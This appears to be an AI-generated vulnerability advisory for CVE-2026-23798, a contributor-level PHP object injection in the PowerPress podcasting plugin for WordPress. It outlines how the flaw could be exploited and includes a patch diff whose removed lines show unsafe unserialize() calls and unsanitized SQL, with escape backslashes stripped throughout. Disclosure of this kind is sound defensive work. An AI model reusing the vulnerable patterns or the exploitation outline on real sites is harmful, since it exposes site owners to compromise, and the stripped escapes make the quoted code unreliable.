Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-23798: PowerPress Podcasting plugin by Blubrry <= 11.15.10 – Authenticated (Contributor+) PHP Object Injection (powerpress)

Plugin powerpress
Severity High (CVSS 7.5)
CWE 502
Vulnerable Version 11.15.10
Patched Version 11.15.11
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-23798:
This vulnerability is an authenticated PHP object injection flaw in the PowerPress Podcasting plugin for WordPress. It affects all versions up to and including 11.15.10. The vulnerability requires Contributor-level access or higher. The core issue involves unsafe deserialization of untrusted data stored in WordPress options and post meta. The CVSS score of 7.5 reflects the authentication requirement and the dependency on a POP chain for impact.

Atomic Edge research identifies the root cause in multiple functions that unserialize user-controlled data without restricting allowed classes. The vulnerable code paths include the `powerpress_get_enclosure_data()` function in `powerpress.php` (lines 5263-5274), which calls `unserialize()` on the `$Serialized` parameter without validation. The `powerpress_get_enclosure()` function (lines 5338-5359) contains two similar unsafe unserialize calls on `$podPressMedia`. The `powerpressadmin-jquery.php` file (line 1317) also has an unsafe unserialize in the AJAX handler for enclosure data. These functions process serialized data stored via plugin operations without sanitization.

The exploitation method requires an authenticated attacker with at least Contributor privileges to inject a malicious serialized object. The attacker would need to find or create a mechanism to store crafted serialized data in WordPress options or post meta fields that the plugin later processes. This could involve manipulating podcast episode metadata, enclosure data, or taxonomy settings through the plugin’s admin interfaces. The serialized payload would contain a PHP object that, when deserialized without the `allowed_classes` restriction, could trigger destructive actions if a suitable POP chain exists in other installed plugins or themes.

The patch addresses the vulnerability by adding the `[‘allowed_classes’ => false]` parameter to all `unserialize()` calls throughout the codebase. In `powerpress.php`, lines 5154, 5204, 5273, 5350, and 5358 show this fix applied to the `powerpress_repair_serialize()`, `powerpress_get_enclosure_data()`, and `powerpress_get_enclosure()` functions. The same fix appears in `powerpressadmin-jquery.php` line 1317 and `powerpressadmin-podpress.php` lines 81-103. This parameter prevents the instantiation of arbitrary PHP objects during deserialization, effectively neutralizing object injection attacks regardless of POP chain availability.

Successful exploitation could lead to arbitrary code execution, file deletion, or data exfiltration if a compatible POP chain exists in other installed components. The plugin itself contains no known POP chains, making the vulnerability dependent on the broader WordPress ecosystem. An attacker with Contributor access could escalate privileges to Administrator, compromise the hosting server, or exfiltrate sensitive database contents. The impact severity directly correlates with the presence of gadget chains in other active plugins or themes.

Differential between vulnerable and patched code

Code Diff
--- a/powerpress/powerpress-playlist.php
+++ b/powerpress/powerpress-playlist.php
@@ -54,9 +54,9 @@
 				{
 					if( !empty($query_in) )
 							$query_in .= ',';
-						$query_in .= $tt_id;
+						$query_in .= intval($tt_id); // sanitize for sql
 				}
-
+
 				if( !empty($query_in) )
 				{
 					$terms = $wpdb->get_results("SELECT term_taxonomy_id, term_id, taxonomy FROM {$wpdb->term_taxonomy} WHERE term_taxonomy_id IN ($query_in)",  ARRAY_A);
--- a/powerpress/powerpress-subscribe.php
+++ b/powerpress/powerpress-subscribe.php
@@ -198,7 +198,8 @@
 		{
 			$term_ID = '';
 			$taxonomy_type = '';
-			$Settings = get_option('powerpress_taxonomy_'. intval($taxonomy_term_id), array() );
+			$taxonomy_term_id = intval($taxonomy_term_id); // sanitize for sql
+			$Settings = get_option('powerpress_taxonomy_'. $taxonomy_term_id, array() );
 			if( !empty($Settings) ) {
 				global $wpdb;
 				$term_info = $wpdb->get_results("SELECT term_id, taxonomy FROM {$wpdb->term_taxonomy} WHERE term_taxonomy_id = {$taxonomy_term_id} LIMIT 1",  ARRAY_A);
--- a/powerpress/powerpress.php
+++ b/powerpress/powerpress.php
@@ -3,7 +3,7 @@
 Plugin Name: Blubrry PowerPress
 Plugin URI: https://blubrry.com/services/powerpress-plugin/
 Description: <a href="https://blubrry.com/services/powerpress-plugin/" target="_blank">Blubrry PowerPress</a> is the No. 1 Podcasting plugin for WordPress. Developed by podcasters for podcasters; features include Simple and Advanced modes, multiple audio/video player options, subscribe to podcast tools, podcast SEO features, and more! Fully supports Apple Podcasts (previously iTunes), Google Podcasts, Spotify, and Blubrry Podcasting directories, as well as all podcast applications and clients.
-Version: 11.15.10
+Version: 11.15.11
 Author: Blubrry
 Author URI: https://blubrry.com/
 Requires at least: 3.6
@@ -134,7 +134,7 @@
 add_action('init', 'PowerPress_PRT_incidence_response');

 // WP_PLUGIN_DIR (REMEMBER TO USE THIS DEFINE IF NEEDED)
-define('POWERPRESS_VERSION', '11.15.10' );
+define('POWERPRESS_VERSION', '11.15.11' );

 // Translation support:
 if ( !defined('POWERPRESS_ABSPATH') )
@@ -956,6 +956,7 @@

             $taxonomy_type = '';
             $term_ID = '';
+            $tt_id = intval($tt_id); // sanitize for sql

             global $wpdb;
             $term_info = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = $tt_id", ARRAY_A);
@@ -1163,7 +1164,7 @@
             $Feed = powerpress_merge_empty_feed_settings($CustomFeed, $Feed);

         global $wpdb;
-        $term_info = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = " . $powerpress_feed['term_taxonomy_id'],  ARRAY_A);
+        $term_info = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = " . intval($powerpress_feed['term_taxonomy_id']),  ARRAY_A);
         $taxonomy_type = $term_info[0]['taxonomy'];
         $feed_url = get_term_feed_link($powerpress_feed['term_taxonomy_id'], $taxonomy_type, 'rss2');
     }
@@ -1257,7 +1258,8 @@
     if( !empty($powerpress_feed['itunes_talent_name']) )
         echo "t<itunes:author>" . esc_html($powerpress_feed['itunes_talent_name']) . '</itunes:author>'.PHP_EOL;

-    if( !empty($powerpress_feed['explicit']) && $powerpress_feed['explicit'] != 'false' )
+    // itunes:explicit is REQUIRED by Apple on channel level
+    if( !empty($powerpress_feed['explicit']) )
         echo "t".'<itunes:explicit>' . $powerpress_feed['explicit'] . '</itunes:explicit>'.PHP_EOL;

     if( !empty($Feed['itunes_block']) )
@@ -1947,8 +1949,10 @@

             $episode_str = '';
             $episode_str .= "tt<podcast:alternateEnclosure ";
-            if (!empty($alternate_enclosure['length']) && $alternate_enclosure['length'] > 0) {
-                $episode_str .= ' length="' . esc_attr($alternate_enclosure['length']) . '"';
+            // support both 'length' (new) and 'size' (legacy) field names
+            $alt_length = $alternate_enclosure['length'] ?? $alternate_enclosure['size'] ?? 0;
+            if (!empty($alt_length) && $alt_length > 0) {
+                $episode_str .= ' length="' . esc_attr($alt_length) . '"';
             }

             if (!empty($alternate_enclosure['type'])){
@@ -2140,8 +2144,9 @@
     }
     echo "tt".'<itunes:episodeType>'. esc_html($EpisodeData['episode_type']) .'</itunes:episodeType>'.PHP_EOL;

-    // explicit can have values ['false', 'true', 'false']
-    if( !empty($explicit) && $explicit != 'false' ) {
+    // episode explicit only outputs when overriding channel explicit
+    // clean channel+explicit episode | explicit channel + clean episode
+    if( !empty($explicit) && $explicit != $powerpress_feed['explicit'] ) {
         echo "tt<itunes:explicit>" . $explicit . '</itunes:explicit>'.PHP_EOL;
     }

@@ -5098,12 +5103,13 @@
 {
     $seconds = 0;
     $parts = explode(':', $duration);
+    // phpstan: explode returns strings, type safety
     if( count($parts) == 3 )
-        $seconds = $parts[2] + ($parts[1]*60) + ($parts[0]*60*60);
+        $seconds = (int)$parts[2] + ((int)$parts[1]*60) + ((int)$parts[0]*60*60);
     else if ( count($parts) == 2 )
-        $seconds = $parts[1] + ($parts[0]*60);
+        $seconds = (int)$parts[1] + ((int)$parts[0]*60);
     else
-        $seconds = $parts[0];
+        $seconds = (int)$parts[0];

     $hours = 0;
     $minutes = 0;
@@ -5147,7 +5153,8 @@

 function powerpress_repair_serialize($string)
 {
-    if( @unserialize($string) )
+    // allowed_classes => false prevents php object injection via crafted serialized data
+    if( @unserialize($string, ['allowed_classes' => false]) )
         return $string; // Nothing to repair...

     $string = preg_replace_callback('/(s:(d+):"([^"]*)")/',
@@ -5195,7 +5202,8 @@

     if ( is_serialized( $meta ) ) // Logic used up but not including WordPress 2.8, new logic doesn't make sure if unserialized failed or not
     {
-        if ( false !== ( $gm = @unserialize( $meta ) ) )
+        // allowed_classes => false prevents php object injection via crafted serialized data
+        if ( false !== ( $gm = @unserialize( $meta, ['allowed_classes' => false] ) ) )
             return $meta;
     }

@@ -5263,7 +5271,8 @@

     if( $Serialized )
     {
-        $ExtraData = @unserialize($Serialized);
+        // allowed_classes => false prevents php object injection via crafted serialized data
+        $ExtraData = @unserialize($Serialized, ['allowed_classes' => false]);
         if( $ExtraData && is_array($ExtraData) )
         {
             foreach( $ExtraData as $key=> $value ) {
@@ -5338,7 +5347,8 @@
         {
             // Sometimes the stored data gets messed up, we can fix it here:
             $podPressMedia = powerpress_repair_serialize($podPressMedia);
-            $podPressMedia = @unserialize($podPressMedia);
+            // allowed_classes => false prevents php object injection via crafted serialized data
+            $podPressMedia = @unserialize($podPressMedia, ['allowed_classes' => false]);
         }

         // Do it a second time in case it is double serialized
@@ -5346,7 +5356,8 @@
         {
             // Sometimes the stored data gets messed up, we can fix it here:
             $podPressMedia = powerpress_repair_serialize($podPressMedia);
-            $podPressMedia = @unserialize($podPressMedia);
+            // allowed_classes => false prevents php object injection via crafted serialized data
+            $podPressMedia = @unserialize($podPressMedia, ['allowed_classes' => false]);
         }

         if( is_array($podPressMedia) && isset($podPressMedia[$mediaNum]) && isset($podPressMedia[$mediaNum]['URI']) )
--- a/powerpress/powerpressadmin-editfeed.php
+++ b/powerpress/powerpressadmin-editfeed.php
@@ -98,8 +98,8 @@

 		}; break;
 		case 'ttid': {
-			$term_taxonomy_id = $type_value;
-			$FeedAttribs['term_taxonomy_id'] = $type_value;
+			$term_taxonomy_id = intval($type_value); // sanitize for sql
+			$FeedAttribs['term_taxonomy_id'] = $term_taxonomy_id;
 			$FeedSettings = powerpress_get_settings('powerpress_taxonomy_'.$term_taxonomy_id);
 			$FeedSettings = powerpress_default_settings($FeedSettings, 'editfeed_custom');

@@ -156,6 +156,8 @@
 	}

     wp_enqueue_script('powerpress-admin', powerpress_get_root_url() . 'js/admin.js', array(), POWERPRESS_VERSION );
+    $suffix = (defined('WP_DEBUG') && WP_DEBUG) ? '' : '.min';
+    wp_enqueue_script('powerpress-podcast2.0-managers', powerpress_get_root_url() . "js/powerpressadmin-metabox{$suffix}.js", array(), POWERPRESS_VERSION);

 ?>
     <div id="powerpress_settings_page" class="powerpress_tabbed_content">
--- a/powerpress/powerpressadmin-jquery.php
+++ b/powerpress/powerpressadmin-jquery.php
@@ -1314,7 +1314,8 @@
             $EnclosureType = trim($EnclosureType);

             if ($EnclosureSerialized) {
-                $ExtraData = @unserialize($EnclosureSerialized);
+                // allowed_classes => false prevents php object injection via crafted serialized data
+                $ExtraData = @unserialize($EnclosureSerialized, ['allowed_classes' => false]);
             }

             $existingLightning = $ExtraData['value_lightning'] ?? [];
--- a/powerpress/powerpressadmin-live-item.php
+++ b/powerpress/powerpressadmin-live-item.php
@@ -162,6 +162,7 @@
                                 foreach($PowerPressTaxonomies as $tt_id => $null) {
                                     $taxonomy_type = '';
                                     $term_ID = '';
+                                    $tt_id = intval($tt_id); // sanitize for sql

                                     global $wpdb;
                                     $term_info = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = $tt_id",  ARRAY_A);
--- a/powerpress/powerpressadmin-metabox.php
+++ b/powerpress/powerpressadmin-metabox.php
@@ -925,15 +925,18 @@
         } else {
             $chapters_req_url = $PCIChaptersURL;
         }
-        try {
-            $json = file_get_contents($chapters_req_url);
-        } catch (Exception $e) {
-            $error = true;
-            $statusMsg = "We were unable to parse the provided transcript file. Please make sure that it is a .json file.";
-        }
+        // phpstan: file_get_contents returns false on failure (doesn't throw), suppress warning instead
+        $json = @file_get_contents($chapters_req_url);

         if ($json) {
-            $chaptersParsedJson = json_decode($json, true)['chapters'];
+            // phpstan: json_decode returns null on invalid JSON, check before accessing ['chapters']
+            $decoded = json_decode($json, true);
+            if (is_array($decoded) && isset($decoded['chapters'])) {
+                $chaptersParsedJson = $decoded['chapters'];
+            } else {
+                $error = true;
+                $statusMsg = "We were unable to parse the chapters file. Please make sure it contains a valid 'chapters' array.";
+            }
         } else {
             $error = true;
             $statusMsg = "We were unable to parse the provided transcript file. Please make sure that it is publicly accessible and a well-formed .json file.";
--- a/powerpress/powerpressadmin-mt.php
+++ b/powerpress/powerpressadmin-mt.php
@@ -574,11 +574,11 @@
 					echo '<td '.$class.'><strong>';
 					if ( current_user_can( 'edit_post', $post_id ) )
 					{
-					?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo esc_attr(sprintf(__('Edit "%s"', 'powerpress'), $import_data['post_title'])); ?>"><?php echo esc_attr($import_data['post_title']); ?></a><?php
+					?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo esc_attr(sprintf(__('Edit "%s"', 'powerpress'), $import_data['post_title'])); ?>"><?php echo esc_html($import_data['post_title']); ?></a><?php
 					}
 					else
 					{
-						echo $import_data['post_title'];
+						echo esc_html($import_data['post_title']);
 					}


--- a/powerpress/powerpressadmin-podpress.php
+++ b/powerpress/powerpressadmin-podpress.php
@@ -78,20 +78,21 @@
 			foreach( $results_data as $null => $row )
 			{
 				//$return = $row;
-				$podpress_data = @unserialize($row['meta_value']);
+				// allowed_classes => false prevents php object injection via crafted serialized data
+				$podpress_data = @unserialize($row['meta_value'], ['allowed_classes' => false]);
 				if( !$podpress_data )
 				{
 					$podpress_data_serialized = powerpress_repair_serialize( $row['meta_value'] );
-					$podpress_data = @unserialize($podpress_data_serialized);
+					$podpress_data = @unserialize($podpress_data_serialized, ['allowed_classes' => false]);
 					if( !is_array($podpress_data) && is_string($podpress_data) )
 					{
-						$podpress_data_two = @unserialize($podpress_data);
+						$podpress_data_two = @unserialize($podpress_data, ['allowed_classes' => false]);
 						if( !is_array($podpress_data_two)  )
 						{
 							$podpress_data_serialized = powerpress_repair_serialize($podpress_data);
-							$podpress_data_two = @unserialize($podpress_data_serialized);
+							$podpress_data_two = @unserialize($podpress_data_serialized, ['allowed_classes' => false]);
 						}
-
+
 						if( is_array($podpress_data_two)  )
 							$podpress_data = $podpress_data_two;
 					}
@@ -99,13 +100,13 @@
 				else if( is_string($podpress_data) )
 				{
 					// May have been double serialized...
-					$podpress_unserialized = @unserialize($podpress_data);
+					$podpress_unserialized = @unserialize($podpress_data, ['allowed_classes' => false]);
 					if( !$podpress_unserialized )
 					{
 						$podpress_data_serialized = powerpress_repair_serialize( $podpress_data );
-						$podpress_unserialized = @unserialize($podpress_data_serialized);
+						$podpress_unserialized = @unserialize($podpress_data_serialized, ['allowed_classes' => false]);
 					}
-
+
 					$podpress_data = $podpress_unserialized;
 				}

@@ -568,11 +569,11 @@
 					echo '<td '.$class.'><strong>';
 					if ( current_user_can( 'edit_post', $post_id ) )
 					{
-					?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo esc_attr(sprintf(__('Edit "%s"', 'powerpress'), $import_data['post_title'])); ?>"><?php echo $import_data['post_title'] ?></a><?php
+					?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo esc_attr(sprintf(__('Edit "%s"', 'powerpress'), $import_data['post_title'])); ?>"><?php echo esc_html($import_data['post_title']) ?></a><?php
 					}
 					else
 					{
-						echo $import_data['post_title'];
+						echo esc_html($import_data['post_title']);
 					}

 					echo '</strong><br />';
--- a/powerpress/powerpressadmin-taxonomyfeeds.php
+++ b/powerpress/powerpressadmin-taxonomyfeeds.php
@@ -132,6 +132,7 @@
                         foreach($PowerPressTaxonomies as $tt_id => $null) {
                             $taxonomy_type = '';
                             $term_ID = '';
+                            $tt_id = intval($tt_id); // sanitize for sql

                             global $wpdb;
                             $term_info = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = $tt_id",  ARRAY_A);
--- a/powerpress/powerpressadmin.php
+++ b/powerpress/powerpressadmin.php
@@ -312,20 +312,20 @@
                         if (file_exists($temp)) {
                             $ImageData = @getimagesize($temp);

-                            $rgb = true; // We assume it is RGB
-                            if (defined('POWERPRESS_IMAGICK') && POWERPRESS_IMAGICK) {
-                                if ($ImageData[2] == IMAGETYPE_PNG && extension_loaded('imagick')) {
-                                    $image = new Imagick($temp);
-                                    if ($image->getImageColorspace() != imagick::COLORSPACE_RGB) {
-                                        $rgb = false;
+                            // phpstan: getimagesize returns false on failure, check before accessing
+                            if ($ImageData) {
+                                $rgb = true; // We assume it is RGB
+                                if (defined('POWERPRESS_IMAGICK') && POWERPRESS_IMAGICK) {
+                                    if ($ImageData[2] == IMAGETYPE_PNG && extension_loaded('imagick')) {
+                                        $image = new Imagick($temp);
+                                        if ($image->getImageColorspace() != imagick::COLORSPACE_RGB) {
+                                            $rgb = false;
+                                        }
                                     }
                                 }
-                            }
-
-                            if (empty($ImageData['channels']))
-                                $ImageData['channels'] = 3; // Assume it's ok if we cannot detect it.

-                            if ($ImageData) {
+                                if (empty($ImageData['channels']))
+                                    $ImageData['channels'] = 3; // Assume it's ok if we cannot detect it.
                                 if ($rgb && ($ImageData[2] == IMAGETYPE_JPEG || $ImageData[2] == IMAGETYPE_PNG) && $ImageData[0] == $ImageData[1] && $ImageData[0] >= 1400 && $ImageData[0] <= 3000 && $ImageData['channels'] == 3) // Just check that it is an image, the correct image type and that the image is square
                                 {
                                     $upload_result = wp_handle_upload($_FILES['itunes_image_file'], array('action' => $_POST['action'], 'test_form' => false));
@@ -809,7 +809,8 @@
                         }

                         $valid_recipients[] = [
-                            'lightning' => sanitize_email($recipient_data['lightning']),
+                            // accepts emails (fountain.fm, alby) or lnurl, sanitize_email can break lnurl format
+                            'lightning' => sanitize_text_field($recipient_data['lightning'] ?? ''),
                             'pubkey' => sanitize_text_field($recipient_data['pubkey']),
                             'custom_key' => sanitize_text_field($recipient_data['custom_key']),
                             'custom_value' => sanitize_text_field($recipient_data['custom_value']),
@@ -817,13 +818,13 @@
                             'fee' => $is_fee ? 'true' : 'false'
                         ];
                     }
-
+
                     if ($split_total > 100)
                         powerpress_add_error(__('Regular recipient splits exceed 100%. Please adjust split percentages.', 'powerpress'));

                     if ($fee_split_total > 100)
                         powerpress_add_error(__('Fee recipient splits exceed 100%. Please adjust fee percentages.', 'powerpress'));
-
+
 					// replace intaken Feed values with only validated data
                     $Feed['value_recipients'] = $valid_recipients;
 				} else {
@@ -921,8 +922,8 @@
                     $startDate = explode('T', $Feed['live_item']['start_date_time']);
                     $endDate = explode('T', $Feed['live_item']['end_date_time']);

-                    $startUnix = strtotime($startDate[0] . ' ' . $startDate[1] . ' ' . htmlspecialchars($Feed['live_item']['timezone']));
-                    $endUnix = strtotime($endDate[0] . ' ' . $endDate[1] . ' ' . htmlspecialchars($Feed['live_item']['timezone']));
+                    $startUnix = strtotime(($startDate[0] ?? '') . ' ' . ($startDate[1] ?? '') . ' ' . htmlspecialchars($Feed['live_item']['timezone']));
+                    $endUnix = strtotime(($endDate[0] ?? '') . ' ' . ($endDate[1] ?? '') . ' ' . htmlspecialchars($Feed['live_item']['timezone']));

                     if ($endUnix <= $startUnix) {
                         update_option('lit_error', true);
@@ -2285,7 +2286,9 @@
 	}

 	// If the field limit is exceeded, WordPress won't send an error so we need to, as this prevents publishing
-	if( count($_POST, COUNT_RECURSIVE) > (ini_get('max_input_vars') -100 ) ) {
+	// phpstan: ini_get returns string|false, cast to int and check > 0 before arithmetic
+	$max_input_vars = (int) ini_get('max_input_vars');
+	if( $max_input_vars > 0 && count($_POST, COUNT_RECURSIVE) > ($max_input_vars - 100) ) {
         // we want to display the warning message
         $error = "PowerPress Warning: you may be exceeding your fields limit, a server setting that limits how many fields your pages can contain. Your current limit is ";
         $error .= ini_get('max_input_vars') . " <a href='https://blubrry.com/support/powerpress-documentation/warning-messages-explained/'>Learn more</a>";
@@ -2592,7 +2595,8 @@
                         }

                         $valid_recipients[] = [
-                            'lightning' => sanitize_email($recipient_data['lightning']),
+                            // accepts emails (fountain.fm, alby) or lnurls, sanitize_email can break lnurl format
+                            'lightning' => sanitize_text_field($recipient_data['lightning'] ?? ''),
                             'pubkey' => sanitize_text_field($recipient_data['pubkey']),
                             'custom_key' => sanitize_text_field($recipient_data['custom_key']),
                             'custom_value' => sanitize_text_field($recipient_data['custom_value']),
@@ -2600,13 +2604,13 @@
                             'fee' => $is_fee ? 'true' : 'false'
                         ];
                     }
-
+
                     if ($split_total > 100)
                         powerpress_add_error(__('Regular recipient splits exceed 100%. Please adjust split percentages.', 'powerpress'));

                     if ($fee_split_total > 100)
                         powerpress_add_error(__('Fee recipient splits exceed 100%. Please adjust fee percentages.', 'powerpress'));
-
+
                     $ToSerialize['value_recipients'] = $valid_recipients;
                 }

@@ -3079,12 +3083,16 @@

                         $fname = "temp_chapters.json";
                         $tempFile = tempnam(sys_get_temp_dir(), $fname);
-                        $file = fopen($tempFile, 'w');
-                        fwrite($file, $json);
-                        fclose($file);
-
-                        file_put_contents($uploadPath . "/chapters.json", file_get_contents($tempFile));
-                        unlink($tempFile);
+                        // phpstan: tempnam, json_encode, fopen can return false, check before file operations
+                        if ($tempFile !== false && $json !== false) {
+                            $file = fopen($tempFile, 'w');
+                            if ($file !== false) {
+                                fwrite($file, $json);
+                                fclose($file);
+                                file_put_contents($uploadPath . "/chapters.json", file_get_contents($tempFile));
+                                unlink($tempFile);
+                            }
+                        }

                         $chapterURL = $uploadURL . "/chapters.json";

@@ -5166,6 +5174,27 @@
 // =====================

 /**
+ * Fetch from API with automatic curl retry on failure
+ *
+ * @param string $url      Full URL to fetch
+ * @param string $auth     Basic auth string
+ * @param array  $post     POST data (optional)
+ * @param int    $timeout  Timeout in seconds
+ *
+ * @return string|false Response body or false on failure
+ */
+function powerpress_fetch_with_retry(string $url, string $auth, array $post = [], int $timeout = 30) {
+	$data = powerpress_remote_fopen($url, $auth, $post, $timeout);
+
+	// retry with curl if primary api failed
+	if (!$data && strpos($url, 'api.blubrry.com') !== false) {
+		$data = powerpress_remote_fopen($url, $auth, $post, $timeout, false, true);
+	}
+
+	return $data;
+}
+
+/**
  * Make a blubrry api request
  *
  * @param string $endpoint_path 	api endpoint path
@@ -5179,48 +5208,39 @@
  *
  * @return array|false Decoded JSON response or false on failure
  */
-function powerpress_api_request($endpoint_path, $url_params, $post_data, $settings, $creds, $auth, $api_url_array, $timeout = 1800) {
-	$json_data = false;
-
-	// build the request url with parameters
+function powerpress_api_request(string $endpoint_path, array $url_params, array $post_data, array $settings, $creds, $auth, array $api_url_array, int $timeout = 1800) {
+	// 1) BUILD REQUEST URL
 	if (strpos($endpoint_path, '?') !== false) {
-		// handle query string separate to avoid '%' being handled as format specifier in vsprintf
-        list($path_template, $query_string) = explode('?', $endpoint_path, 2);
-        $req_url = vsprintf($path_template, $url_params) . '?' . $query_string;
-    } else {
-    	$req_url = vsprintf($endpoint_path, $url_params);
-  	}
-
+		// separate query string to avoid '%' being handled as format specifier in vsprintf
+		list($path_template, $query_string) = explode('?', $endpoint_path, 2);
+		$req_url = vsprintf($path_template, $url_params) . '?' . $query_string;
+	} else {
+		$req_url = vsprintf($endpoint_path, $url_params);
+	}
 	$req_url .= (strpos($req_url, '?') !== false ? '&' : '?') . 'format=json&cache=' . md5(rand(0, 999) . time());
 	$req_url .= (defined('POWERPRESS_BLUBRRY_API_QSA') ? '&' . POWERPRESS_BLUBRRY_API_QSA : '');
 	$req_url .= (defined('POWERPRESS_PUBLISH_PROTECTED') ? '&protected=true' : '');

+	// 2) OAUTH PATH: use auth object directly
 	if ($creds) {
 		$access_token = powerpress_getAccessToken();
-		$results = $auth->api($access_token, $req_url, $post_data, false, $timeout, true, true);
-	} else {
-		// remove /2 for non-oauth path
-		if (strpos($req_url, '/2/') === 0) {
-			$req_url = substr($req_url, 2);
-		}
-		foreach ($api_url_array as $index => $api_url) {
-			$full_url = rtrim($api_url, '/') . $req_url;
-			$json_data = powerpress_remote_fopen($full_url, $settings['blubrry_auth'], $post_data, $timeout);
+		return $auth->api($access_token, $req_url, $post_data, false, $timeout, true, true);
+	}

-			// force cURL for primary api if first attempt failed
-			if (!$json_data && $api_url == 'https://api.blubrry.com/') {
-				$json_data = powerpress_remote_fopen($full_url, $settings['blubrry_auth'], $post_data, $timeout, false, true);
-			}
+	// 3) NON-OAUTH PATH: try each api url with retry
+	if (strpos($req_url, '/2/') === 0) {
+		$req_url = substr($req_url, 2);
+	}

-			if ($json_data != false) {
-				break;
-			}
+	foreach ($api_url_array as $api_url) {
+		$full_url = rtrim($api_url, '/') . $req_url;
+		$json_data = powerpress_fetch_with_retry($full_url, $settings['blubrry_auth'], $post_data, $timeout);
+		if ($json_data) {
+			return powerpress_json_decode($json_data);
 		}
-
-		$results = powerpress_json_decode($json_data);
 	}

-	return $results;
+	return false;
 }

 /**
@@ -5415,30 +5435,23 @@
  *
  * @return array|false Array with 'url' and file info if published, false if not
  */
-function powerpress_check_media_published($filename, $program_keyword, $settings, $creds, $auth) {
-	$api_url_array = powerpress_get_api_array();
-
-	// build request url for media list
+function powerpress_check_media_published(string $filename, string $program_keyword, array $settings, $creds, $auth) {
+	// 1) BUILD API REQUEST URL
 	$req_url = sprintf('/2/media/%s/index.json?published=true&cache=%s',
 		urlencode($program_keyword),
 		md5(rand(0, 999) . time())
 	);
 	$req_url .= (defined('POWERPRESS_BLUBRRY_API_QSA') ? '&' . POWERPRESS_BLUBRRY_API_QSA : '');

-	$results = false;
-
+	// 2) FETCH PUBLISHED MEDIA LIST
 	if ($creds) {
 		$access_token = powerpress_getAccessToken();
 		$results = $auth->api($access_token, $req_url);
 	} else {
-		foreach ($api_url_array as $index => $api_url) {
+		$results = false;
+		foreach (powerpress_get_api_array() as $api_url) {
 			$full_url = rtrim($api_url, '/') . $req_url;
-			$json_data = powerpress_remote_fopen($full_url, $settings['blubrry_auth']);
-
-			if (!$json_data && $api_url == 'https://api.blubrry.com/') {
-				$json_data = powerpress_remote_fopen($full_url, $settings['blubrry_auth'], [], 30, false, true);
-			}
-
+			$json_data = powerpress_fetch_with_retry($full_url, $settings['blubrry_auth']);
 			if ($json_data) {
 				$results = powerpress_json_decode($json_data);
 				break;
@@ -5446,24 +5459,29 @@
 		}
 	}

-	if (!is_array($results))
-		return false;
+	if (!is_array($results)) return false;

-	// search for the filename in the results
+
+	// 3) FIND MATCHING FILENAME IN RESULTS
 	foreach ($results as $media_item) {
 		if (!is_array($media_item)) continue;

-		// check if this is a published file matching our filename
 		if (!empty($media_item['published']) &&
 			!empty($media_item['url']) &&
 			!empty($media_item['name']) &&
 			$media_item['name'] === $filename) {

-			return [
+			$result = [
 				'url' => $media_item['url'],
 				'length' => $media_item['length'] ?? 0,
 				'published' => true
 			];
+
+			// ensure podcast_id is saved to post meta
+			if (!empty($media_item['podcast_id'])) {
+				$result['podcast_id'] = $media_item['podcast_id'];
+			}
+			return $result;
 		}
 	}

@@ -5493,9 +5511,12 @@
 	// add post type podcasting feeds if enabled
 	if (!empty($settings['posttype_podcasting'])) {
 		$feed_slug_post_types_array = get_option('powerpress_posttype-podcasting');
-		foreach ($feed_slug_post_types_array as $feed_slug) {
-			if (empty($custom_feeds[$feed_slug])) {
-				$custom_feeds[$feed_slug] = $feed_slug;
+		if (is_array($feed_slug_post_types_array)) {
+			// option stores feed_slug => [post_type => title], so iterate keys
+			foreach (array_keys($feed_slug_post_types_array) as $feed_slug) {
+				if (empty($custom_feeds[$feed_slug])) {
+					$custom_feeds[$feed_slug] = $feed_slug;
+				}
 			}
 		}
 	}
@@ -5506,10 +5527,10 @@

 	$api_url_array = powerpress_get_api_array();

-	foreach ($custom_feeds as $feed_slug) {
+	foreach ($custom_feeds as $feed_slug => $feed_title) {
 		$field = 'enclosure';
 		if ($feed_slug != 'podcast') {
-			$field = '_' . $feed_slug . ':enclosure';
+		$field = "_{$feed_slug}:enclosure";
 		}

 		$enclosure_data = get_post_meta($post_id, $field, true);
@@ -5527,7 +5548,8 @@
 		$enclosure_url = (count($meta_parts) > 0) ? trim($meta_parts[0]) : '';
 		$enclosure_size = (count($meta_parts) > 1) ? trim($meta_parts[1]) : '';
 		$enclosure_type = (count($meta_parts) > 2) ? trim($meta_parts[2]) : '';
-		$episode_data = (count($meta_parts) > 3) ? unserialize($meta_parts[3]) : false;
+		// allowed_classes => false prevents php object injection via crafted serialized data
+		$episode_data = (count($meta_parts) > 3) ? unserialize($meta_parts[3], ['allowed_classes' => false]) : false;

 		if ($enclosure_type == '') {
 			$error = __('Blubrry Hosting Error (publish)', 'powerpress') . ': ' . __('Error occurred obtaining enclosure content type.', 'powerpress');
@@ -5570,6 +5592,12 @@
 					$enclosure_size = $already_published['length'];
 				}

+				// save podcast_id from already published media
+				if (!empty($already_published['podcast_id'])) {
+					$episode_data['podcast_id'] = $already_published['podcast_id'];
+					$podcast_id = $already_published['podcast_id'];
+				}
+
 				// save updated enclosure data
 				$enclosure_data = $enclosure_url . "n" . $enclosure_size . "n" . $enclosure_type . "n" . serialize($episode_data);
 				update_post_meta($post_id, $field, $enclosure_data);
@@ -5578,12 +5606,10 @@
 			// get media info (and write tags for mp3) if not already published
 			if (!$skip_publish) {
 				// mp3 files: write id3 tags and get info
-				if ($is_mp3 && !empty($settings['write_tags'])) {
-					$results = powerpress_write_tags($enclosure_url, $post_title, $program_keyword);
-				} else {
+				$results = ($is_mp3 && !empty($settings['write_tags']))
+					? powerpress_write_tags($enclosure_url, $post_title, $program_keyword)
 					// non-mp3 files or mp3 w/o write_tags: get media info
-					$results = powerpress_get_media_info($enclosure_url, $program_keyword);
-				}
+					: powerpress_get_media_info($enclosure_url, $program_keyword);

 				// process media results
